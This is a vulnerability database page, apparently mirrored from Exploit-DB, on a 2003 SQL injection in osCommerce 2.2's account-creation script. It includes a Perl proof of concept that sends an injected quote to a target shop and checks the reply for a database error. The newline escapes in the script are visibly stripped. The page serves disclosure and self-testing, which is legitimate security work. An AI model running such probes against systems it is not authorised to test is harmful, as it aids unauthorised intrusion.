osCommerce 2.2 – SQL Injection

osCommerce 2.2 – SQL Injection

漏洞ID 1054295 漏洞类型
发布时间 2003-12-13 更新时间 2003-12-13
图片[1]-osCommerce 2.2 – SQL Injection-安全小百科CVE编号 N/A
图片[2]-osCommerce 2.2 – SQL Injection-安全小百科CNNVD-ID N/A
漏洞平台 PHP CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/23434
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
#!/usr/bin/perl
#source: http://www.securityfocus.com/bid/9211/info
#
#It has been reported that one of the scripts included with osCommerce fails to validate user-supplied input, rendering it vulnerable to a SQL injection attack. The script in question is used to verify account details during the new user registration process and has the filename "create_account_process.php". It may be possible for attackers to manipulate the query to corrupt data in the database or, possibly, gain access on the underlying host (through, for example, stored procedures or vulnerabilities in the database server). 
#
#

############################################################################
# osCommerce 2.2 MS1 Proof Of Concept - By JeiAr [ http://www.gulftech.org ]
############################################################################

use LWP::UserAgent;

############################################################################
# Use this script to test if your shop is vulnerable. Results are obvious :)
############################################################################

$ua = new LWP::UserAgent;
$ua->agent("Mozilla/4.0" . $ua->agent);

if (!$ARGV[0]) {
	&usage;
}
 
$host=$ARGV[0];

print "Trying $host ....n";

my $req = new HTTP::Request POST => "http://$host/create_account_process.php";
   $req->content_type('application/x-www-form-urlencoded');
   $req->content("action=process&country=%27");
my $res = $ua->request($req); 
$pattern = "You have an error in your SQL syntax";  
$_ = $res->content;

print "n" x 3;

if (/$pattern/) {
print "Host Is Vulnerable!n";
print "Download The Latest osCommerce ...n";
print "http://www.oscommerce.com/downloadsn";
} else {
print "Host NOT Vulnerablen";
}

print "n" x 3;

exit;

sub usage {

print "osCommerce 2.2 MS1 Proof Of Concept - By JeiAr [ http://www.gulftech.org ]n";
print "--------------------------------------------------------------------------n";
print "perl ossqlin.pl "path to shop" ex: ossqlin.pl www.mywebstore.com/catalogn";

exit;

}

相关推荐: jmcce Predictable Log File Symbolic Link Attack Vulnerability

jmcce Predictable Log File Symbolic Link Attack Vulnerability 漏洞ID 1102545 漏洞类型 Race Condition Error 发布时间 2002-01-22 更新时间 2002-01-…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享